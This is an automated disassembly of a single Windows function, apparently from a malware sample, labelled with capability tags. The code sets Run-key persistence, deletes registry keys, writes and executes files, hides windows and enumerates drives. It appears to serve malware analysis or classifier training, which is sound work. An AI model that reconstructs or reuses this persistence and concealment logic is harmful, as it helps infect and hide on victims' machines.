Function at 0x40fa40
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2b
push 0
push 0
dec ecx
jne 0x40fa48
push ebx
push esi
push edi
mov esi, 0x413adc
mov ebx, 0x413b43
mov edi, 0x413ae8
xor eax, eax
push ebp
push 0x410d5c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x413b44], 0x66
jne 0x40fac1
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x410d74
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406cd8
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00403780
cmp byte [0x413b41], 0
jne 0x40fac1
push 0x2710
call sub.KERNEL32.DLL_Sleep
mov eax, dword [edi]
call fcn.00406b30
mov byte [ebx], al
mov edx, 0x410d84
mov ecx, 0x410d74
mov eax, 0x80000002
call fcn.0040726c
lea eax, [ebp - 8]
call fcn.004069a8
mov edx, dword [ebp - 8]
mov eax, 0x413ad8
call fcn.00403780
lea eax, [ebp - 0xc]
call fcn.00406a14
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403780
mov eax, 0x413ae0
mov ecx, 0x410dcc
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [edi]
call fcn.004038a4
test eax, eax
jne 0x40fb26
mov eax, edi
mov ecx, 0x410ddc
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x412130
mov ecx, dword [0x412130]
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x413ad0
mov ecx, 0x410df0
mov edx, dword [0x412130]
call fcn.004038f0
mov eax, 0x413ad4
mov ecx, 0x410e04
mov edx, dword [0x412130]
call fcn.004038f0
xor eax, eax
mov dword [0x413b48], eax
call fcn.00411664
cmp byte [0x413b41], 0
je 0x40fd8c
mov eax, 0x410e18
call fcn.00405e20
push 0xbb8
call sub.KERNEL32.DLL_Sleep
call fcn.00406bc4
lea eax, [ebp - 0x10]
mov ecx, 0x410e30
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x10]
call fcn.00405cc4
lea eax, [ebp - 0x14]
mov ecx, 0x410e44
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x14]
call fcn.00405cc4
mov eax, dword [0x413ad0]
call fcn.00405cc4
mov ecx, 0x410ddc
mov edx, 0x410e58
mov eax, 0x80000002
call fcn.0040726c
mov ecx, 0x410ddc
mov edx, 0x410e90
mov eax, 0x80000002
call fcn.0040726c
mov ecx, 0x410ddc
mov edx, 0x410ed0
mov eax, 0x80000001
call fcn.0040726c
mov edx, 0x410e58
mov ecx, 0x410f18
mov eax, 0x80000001
call fcn.0040726c
mov edx, 0x410ed0
mov ecx, 0x410f28
mov eax, 0x80000002
call fcn.0040726c
lea eax, [ebp - 0x18]
mov ecx, 0x410f3c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x18]
call fcn.00405cc4
lea eax, [ebp - 0x1c]
mov ecx, 0x410f54
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x1c]
call fcn.00405cc4
lea eax, [ebp - 0x20]
mov ecx, 0x410f68
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00405cc4
lea eax, [ebp - 0x24]
mov ecx, 0x410f80
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.00405cc4
lea eax, [ebp - 0x28]
mov ecx, 0x410f98
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x28]
call fcn.00405cc4
lea eax, [ebp - 0x2c]
mov ecx, 0x410fac
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x2c]
call fcn.00405cc4
lea eax, [ebp - 0x30]
mov ecx, 0x410fc0
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x30]
call fcn.00405cc4
push 0x410fcc
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x410ff8
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x411040
call fcn.0040eae8
mov eax, 0x41104c
call fcn.0040eae8
mov eax, 0x411058
call fcn.0040eae8
mov eax, dword [0x413ad4]
call fcn.00405cc4
push 0x200040
push 0x41105c
push 0x411074
lea edx, [ebp - 0x38]
mov eax, 0x71
call fcn.00405440
push dword [ebp - 0x38]
push 0x411088
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x34]
call fcn.00403aa4
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x410e18
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x3c]
call fcn.00403aa4
push eax
push 0x4110a0
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405d20
jmp 0x410d3e
push 0
mov eax, dword [0x412130]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_CreateDirectoryA
call sub.KERNEL32.DLL_GetVersion
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x413b40]
cmp byte [0x413b40], 0
je 0x40fdc6
call fcn.00406334
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x4110b0
mov eax, 0x80000002
call fcn.00406c10
push eax
call fcn.00405728
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x410d3e
lea edx, [ebp - 0x40]
mov eax, dword [edi]
call fcn.00405784
mov edx, dword [ebp - 0x40]
mov eax, 0x413aec
call fcn.00403780
call fcn.0040278c
push 1
push 0x96
push 0x222e1
mov ecx, 0x410f3c
lea eax, [ebp - 0x44]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x44]
mov cl, 1
mov eax, dword [edi]
call fcn.004059a8
mov byte [ebx], al
mov ecx, 0x410f3c
lea eax, [ebp - 0x48]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x48]
call fcn.00406b30
mov byte [ebx], al
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x4110bc
mov eax, 0x80000002
call fcn.00406c10
mov dword [0x413b38], eax
cmp dword [0x413b38], 0x71
jge 0x40ff2b
cmp byte [ebx], 0
jne 0x40fecf
mov ecx, 0x410f3c
lea eax, [ebp - 0x4c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x4c]
mov eax, dword [edi]
call fcn.004039f0
je 0x40fecf
mov eax, 0x410f3c
call fcn.00405e20
push 1
push 0x96
push 0x222e1
mov ecx, 0x410f3c
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [edi]
call fcn.004059a8
mov byte [ebx], al
cmp byte [ebx], 0
je 0x40ff2b
push 0x71
mov ecx, 0x4110bc
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406eec
mov byte [ebx], al
push 0x4110cc
lea edx, [ebp - 0x58]
mov eax, 0x71
call fcn.00405440
push dword [ebp - 0x58]
push 0x4110e0
lea edx, [ebp - 0x5c]
mov eax, dword [0x413b38]
call fcn.00405440
push dword [ebp - 0x5c]
lea eax, [ebp - 0x54]
mov edx, 4
call fcn.00403964
mov eax, dword [ebp - 0x54]
call fcn.004116a4
call fcn.004075c4
push 1
push 0x96
push 0x222e1
mov ecx, 0x410f54
lea eax, [ebp - 0x60]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [edi]
call fcn.004059a8
mov byte [ebx], al
mov ecx, 0x410f54
lea eax, [ebp - 0x64]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x64]
call fcn.00406b30
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x410f68
lea eax, [ebp - 0x68]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x68]
xor ecx, ecx
mov eax, dword [edi]
call fcn.004059a8
mov byte [ebx], al
mov ecx, 0x410f68
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x6c]
call fcn.00406b30
mov byte [ebx], al
mov ecx, 0x410fac
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x70]
call fcn.00405a54
test al, al
jne 0x41003f
push 1
push 0
push 0x222e1
mov ecx, 0x410fac
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, 0x410f80
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x78]
xor ecx, ecx
pop edx
call fcn.004059a8
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x410fc0
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, 0x410f98
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x80]
xor ecx, ecx
pop edx
call fcn.004059a8
mov byte [ebx], al
mov ecx, 0x410f80
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x84]
call fcn.00405a54
test al, al
jne 0x4100ec
push 1
push 0
push 0x222e1
mov ecx, 0x410f80
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x410fac
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.004059a8
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x410f98
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x90]
push eax
mov ecx, 0x410fc0
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x94]
xor ecx, ecx
pop edx
call fcn.004059a8
mov byte [ebx], al
mov eax, dword [edi]
call fcn.00406b30
mov byte [ebx], al
mov ecx, 0x410f80
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x98]
call fcn.00406b30
mov byte [ebx], al
mov ecx, 0x410f98
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x9c]
call fcn.00406b30
mov byte [ebx], al
mov ecx, 0x410fac
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa0]
call fcn.00406b30
mov byte [ebx], al
mov ecx, 0x410fc0
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa4]
call fcn.00406b30
mov byte [ebx], al
call fcn.0040d91c
mov eax, 0x411040
call fcn.0040dea4
mov eax, 0x41104c
call fcn.0040dea4
mov eax, 0x411058
call fcn.0040dea4
push 0
push 0
push 0x413b3c
mov ecx, 0x407ae4
xor edx, edx
xor eax, eax
call fcn.004036e8
push 0
push 0
push 0x413b3c
mov ecx, 0x407460
xor edx, edx
xor eax, eax
call fcn.004036e8
mov ecx, 0x410f3c
mov eax, 0x413ae4
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [0x413ae4]
mov edx, dword [edi]
call fcn.004039f0
je 0x410223
mov ecx, 0x410f54
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa8]
mov edx, dword [edi]
call fcn.004039f0
je 0x410223
mov ecx, 0x410f68
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xac]
mov edx, dword [edi]
call fcn.004039f0
jne 0x41022f
mov eax, 0x413ae4
call fcn.0040372c
jmp 0x410240
mov eax, 0x413ae4
mov ecx, dword [edi]
mov edx, 0x4110f0
call fcn.004038f0
mov al, byte [0x413b44]
sub al, 0x64
je 0x410253
dec al
je 0x41026a
dec al
je 0x410281
jmp 0x410298
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x4110fc
call fcn.004038f0
jmp 0x4102a2
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x411108
call fcn.004038f0
jmp 0x4102a2
mov eax, 0x413ae4
mov ecx, dword [0x413ae4]
mov edx, 0x411114
call fcn.004038f0
jmp 0x4102a2
mov eax, 0x411124
call fcn.004116a4
lea eax, [ebp - 0xb0]
mov ecx, dword [0x413ae4]
mov edx, 0x411130
call fcn.004038f0
mov eax, dword [ebp - 0xb0]
call fcn.004116a4
mov eax, 0x413b5c
mov ecx, 0x410d84
mov edx, 0x80000002
call fcn.0040706c
test al, al
jne 0x410302
mov eax, 0x413b5c
mov ecx, 0x410d84
mov edx, 0x80000002
call fcn.0040706c
test al, al
jne 0x410302
mov eax, 0x411140
call fcn.004116a4
jmp 0x410d3e
push dword [esi]
push 0x411158
push 0x411168
mov eax, 0x413b04
mov edx, 3
call fcn.00403964
mov eax, dword [0x413b04]
call fcn.00405a54
test al, al
jne 0x410397
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xb4]
mov ecx, 0x411178
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb4]
mov cl, 1
mov edx, dword [0x413b04]
call fcn.004059a8
test al, al
je 0x410383
lea eax, [ebp - 0xb8]
mov ecx, dword [0x413b04]
mov edx, 0x411190
call fcn.004038f0
mov eax, dword [ebp - 0xb8]
call fcn.004116a4
jmp 0x410397
mov eax, 0x4111ac
call fcn.004116a4
mov eax, 0x413b04
call fcn.0040372c
mov eax, dword [0x413b04]
call fcn.004038a4
test eax, eax
jle 0x41058b
mov eax, 0x413b0c
mov ecx, 0x4111bc
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x413b08
mov edx, 0x4111d0
call fcn.00403780
lea eax, [ebp - 0xbc]
mov ecx, 0x4111e4
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xbc]
call fcn.00405a54
test al, al
je 0x4103fd
mov eax, 0x413b08
mov edx, 0x4111f4
call fcn.004038ac
lea eax, [ebp - 0xc0]
mov ecx, 0x411204
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc0]
call fcn.00405a54
test al, al
je 0x410431
mov eax, 0x413b08
mov edx, 0x411214
call fcn.004038ac
lea eax, [ebp - 0xc4]
mov ecx, 0x411224
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc4]
call fcn.00405a54
test al, al
je 0x410465
mov eax, 0x413b08
mov edx, 0x411234
call fcn.004038ac
lea eax, [ebp - 0xc8]
mov ecx, 0x411244
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc8]
call fcn.00405a54
test al, al
je 0x410499
mov eax, 0x413b08
mov edx, 0x411254
call fcn.004038ac
lea eax, [ebp - 0xcc]
mov ecx, 0x411264
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xcc]
call fcn.00405a54
test al, al
je 0x4104cd
mov eax, 0x413b08
mov edx, 0x411274
call fcn.004038ac
lea eax, [ebp - 0xd0]
mov ecx, 0x411284
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd0]
call fcn.00405a54
test al, al
je 0x410501
mov eax, 0x413b08
mov edx, 0x411294
call fcn.004038ac
lea eax, [ebp - 0xd4]
mov ecx, 0x4112a4
mov edx, dword [0x413b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd4]
call fcn.00405a54
test al, al
je 0x410535
mov eax, 0x413b08
mov edx, 0x4112b4
call fcn.004038ac
mov eax, dword [0x413b08]
mov edx, 0x4112c4
call fcn.004039f0
jne 0x410552
mov eax, 0x4112f4
call fcn.004116a4
jmp 0x410573
lea eax, [ebp - 0xd8]
mov ecx, dword [0x413b08]
mov edx, 0x411304
call fcn.004038f0
mov eax, dword [ebp - 0xd8]
call fcn.004116a4
push 0
mov ecx, 0x411314
mov edx, 0x411324
mov eax, 0x80000001
call fcn.00406eec
jmp 0x410595
mov eax, 0x413b08
call fcn.0040372c
cmp byte [0x413b40], 0
jne 0x4105e9
push 0x1f40
call sub.KERNEL32.DLL_Sleep
push 0x41133c
push 0
call sub.user32.dll_FindWindowA
mov dword [0x413b3c], eax
cmp dword [0x413b3c], 0
jne 0x4105d3
push 0x411354
push 0
call sub.user32.dll_FindWindowA
mov dword [0x413b3c], eax
cmp dword [0x413b3c], 0
jbe 0x4105e9
push 0
mov eax, dword [0x413b3c]
push eax
call sub.user32.dll_ShowWindow
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x411374
mov eax, 0x80000002
call fcn.00406c10
mov dword [0x413b20], eax
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x411384
mov eax, 0x80000002
call fcn.00406c10
mov dword [0x413b30], eax
cmp dword [0x413b30], 0x64
jge 0x4107d6
mov eax, dword [0x4121f8]
push eax
push 0x400
lea eax, [ebp - 0xe0]
push eax
mov edx, 0x410d84
mov ecx, 0x411394
mov eax, 0x80000002
call fcn.00406cd8
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00405504
mov edx, dword [ebp - 0xdc]
mov eax, 0x413afc
call fcn.00403780
mov eax, dword [0x413afc]
call fcn.004038a4
test eax, eax
je 0x410696
mov eax, dword [0x413afc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x4106a5
mov eax, 0x413afc
mov edx, 0x4113a4
call fcn.00403780
mov eax, dword [0x413afc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x4107b2
lea eax, [ebp - 0xe4]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0xe4]
mov edx, 0x4113b0
call fcn.004038ac
mov eax, dword [ebp - 0xe4]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x4106f4
sub eax, 1
jne 0x4107a1
xor eax, eax
mov dword [0x413b24], eax
lea eax, [ebp - 0xe8]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0xe8]
mov edx, 0x4113b0
call fcn.004038ac
mov eax, dword [ebp - 0xe8]
call fcn.0040b34c
lea eax, [ebp - 0xf0]
mov edx, ebx
call fcn.0040384c
mov ecx, dword [ebp - 0xf0]
lea eax, [ebp - 0xec]
mov edx, 0x4113bc
call fcn.004038f0
mov eax, dword [ebp - 0xec]
call fcn.004116a4
lea eax, [ebp - 0xf4]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040384c
mov eax, dword [ebp - 0xf4]
push eax
mov ecx, 0x411394
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406dc4
push 0
mov ecx, 0x411374
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406eec
cmp bl, 0x63
jne 0x4107a1
mov eax, 0x4113d0
call fcn.004116a4
xor eax, eax
mov dword [0x413b20], eax
dec ebx
cmp bl, 0x62
jne 0x4106b5
mov dword [0x413b30], 0x64
mov eax, dword [0x413b30]
push eax
mov ecx, 0x411384
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406eec
cmp dword [0x413b30], 0xc8
jge 0x41084d
cmp byte [0x413b44], 0x66
jne 0x4107f2
mov byte [0x412128], 0
xor eax, eax
mov dword [0x413b28], eax
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x4113e4
mov eax, 0x80000002
call fcn.00406c10
mov dword [0x413b2c], eax
xor eax, eax
call fcn.0040bb6c
mov dword [0x413b30], 0xc8
mov eax, dword [0x413b30]
push eax
mov ecx, 0x411384
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406eec
mov eax, 0x4113f4
call fcn.004116a4
mov eax, 0x413b5c
call fcn.004070f0
mov eax, dword [0x413aec]
call fcn.004038a4
test eax, eax
jne 0x41089a
lea edx, [ebp - 0xf8]
mov eax, dword [edi]
call fcn.00405784
mov edx, dword [ebp - 0xf8]
mov eax, 0x413aec
call fcn.00403780
mov eax, dword [0x413aec]
call fcn.004038a4
test eax, eax
jne 0x41089a
call fcn.00409bf4
jmp 0x410d3e
cmp byte [0x413b44], 0x64
jne 0x4108ad
call fcn.004115a8
call fcn.004035c0
mov byte [0x412128], 0
mov eax, dword [0x4121f8]
push eax
mov edx, 0x410d84
mov ecx, 0x411408
mov eax, 0x80000002
call fcn.00406c10
dec eax
je 0x410971
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x413ad0]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [0x413b4c], eax
push 2
push 0
push 0
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_SetFilePointer
lea eax, [ebp - 0xfc]
call fcn.00407cf4
mov edx, dword [ebp - 0xfc]
mov eax, 0x413ae4
call fcn.00403780
push 0
push 0x413b3c
mov eax, dword [0x413ae4]
call fcn.004038a4
push eax
mov eax, 0x413ae4
call fcn.00403afc
push eax
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [0x413b4c]
push eax
call sub.KERNEL32.DLL_CloseHandle
push 1
mov ecx, 0x411408
mov edx, 0x410d84
mov eax, 0x80000002
call fcn.00406eec
push 0xea60
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x100]
mov al, 1
call fcn.00405580
mov ecx, dword [ebp - 0x100]
mov eax, 0x413af8
mov edx, 0x411418
call fcn.004038f0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x4109b0
jmp dword [eax*4 + 0x4109b7]
lea edx, [ebp - 0x104]
mov eax, 0x41142c
call fcn.00406388
mov edx, dword [ebp - 0x104]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x108]
mov eax, 0x411444
call fcn.00406388
mov edx, dword [ebp - 0x108]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x10c]
mov eax, 0x41145c
call fcn.00406388
mov edx, dword [ebp - 0x10c]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x110]
mov eax, 0x411474
call fcn.00406388
mov edx, dword [ebp - 0x110]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x114]
mov eax, 0x41148c
call fcn.00406388
mov edx, dword [ebp - 0x114]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x118]
mov eax, 0x4114a8
call fcn.00406388
mov edx, dword [ebp - 0x118]
mov eax, 0x413af4
call fcn.00403780
jmp 0x410ac4
lea edx, [ebp - 0x11c]
mov eax, 0x4114c0
call fcn.00406388
mov edx, dword [ebp - 0x11c]
mov eax, 0x413af4
call fcn.00403780
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x410ad7
jmp dword [eax*4 + 0x410ade]
lea edx, [ebp - 0x120]
mov eax, 0x4114d8
call fcn.00406388
mov edx, dword [ebp - 0x120]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x124]
mov eax, 0x4114f4
call fcn.00406388
mov edx, dword [ebp - 0x124]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x128]
mov eax, 0x411510
call fcn.00406388
mov edx, dword [ebp - 0x128]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x12c]
mov eax, 0x41152c
call fcn.00406388
mov edx, dword [ebp - 0x12c]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x130]
mov eax, 0x411548
call fcn.00406388
mov edx, dword [ebp - 0x130]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x134]
mov eax, 0x411560
call fcn.00406388
mov edx, dword [ebp - 0x134]
mov eax, 0x413af0
call fcn.00403780
jmp 0x410beb
lea edx, [ebp - 0x138]
mov eax, 0x41157c
call fcn.00406388
mov edx, dword [ebp - 0x138]
mov eax, 0x413af0
call fcn.00403780
mov ecx, 0x410e30
lea eax, [ebp - 0x13c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x13c]
mov eax, dword [0x413ad0]
call fcn.0040f420
test al, al
je 0x410c37
mov ecx, 0x410e44
lea eax, [ebp - 0x140]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x140]
mov eax, dword [0x413ad4]
call fcn.0040f420
test al, al
jne 0x410c41
call fcn.004115a8
jmp 0x410d3e
call fcn.0040659c
mov ecx, 0x410e30
lea eax, [ebp - 0x144]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x144]
call fcn.0040c21c
test al, al
je 0x410c89
mov ecx, 0x410e44
lea eax, [ebp - 0x148]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x148]
call fcn.0040c21c
jmp 0x410d3e
call fcn.0040659c
mov ecx, 0x410e30
lea eax, [ebp - 0x14c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x14c]
call fcn.0040c21c
test al, al
je 0x410cce
mov ecx, 0x410e44
lea eax, [ebp - 0x150]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x150]
call fcn.0040c21c
jmp 0x410d3e
call fcn.0040659c
mov ecx, 0x410e30
lea eax, [ebp - 0x154]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x154]
call fcn.0040c21c
test al, al
je 0x410d13
mov ecx, 0x410e44
lea eax, [ebp - 0x158]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x158]
call fcn.0040c21c
jmp 0x410d3e
call fcn.0040659c
call fcn.0040cc30
test al, al
jne 0x410d3e
call fcn.0040659c
call fcn.0040d114
test al, al
jne 0x410d3e
call fcn.0040cc30
mov eax, 0x411598
call fcn.004116a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410d63
lea eax, [ebp - 0x158]
mov edx, 0x56
call fcn.00403750
ret